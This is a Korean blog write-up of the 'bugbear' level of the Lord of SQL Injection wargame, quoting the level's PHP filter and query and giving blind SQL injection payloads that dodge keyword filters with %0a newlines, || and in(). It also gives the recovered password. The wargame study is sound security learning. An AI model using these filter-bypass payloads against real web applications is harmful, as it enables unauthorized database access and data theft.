Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Un_Woo

LOS bugbear 본문

Web/Lord of Sql Ingection

LOS bugbear

언우s 2018. 4. 11. 10:12

13. Bugbear

if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 

pw 에서 필터링
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

no 에서 ‘, substr, ascii, =, or, and, like, 0x, 스페이스바 필터링
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

pw 맞춰야 한다.-> 블라인드 인젝션

like 우회 -> in

?no=-1%0a||%0aid%0ain("admin") -> ?no=-1 or id in(“admin”)


?no=-1%0a||%0alength(pw)%0ain("8") -> ?no=-1 or length(pw) in(“8”)

?pw=735c2773

'Web > Lord of Sql Ingection' 카테고리의 다른 글

LOS giant  (0) 2018.04.11
LOS darkknight  (0) 2018.04.11
LOS golem  (0) 2018.04.11
LOS skeleton  (0) 2018.04.11
LOS vampire  (0) 2018.04.11
Comments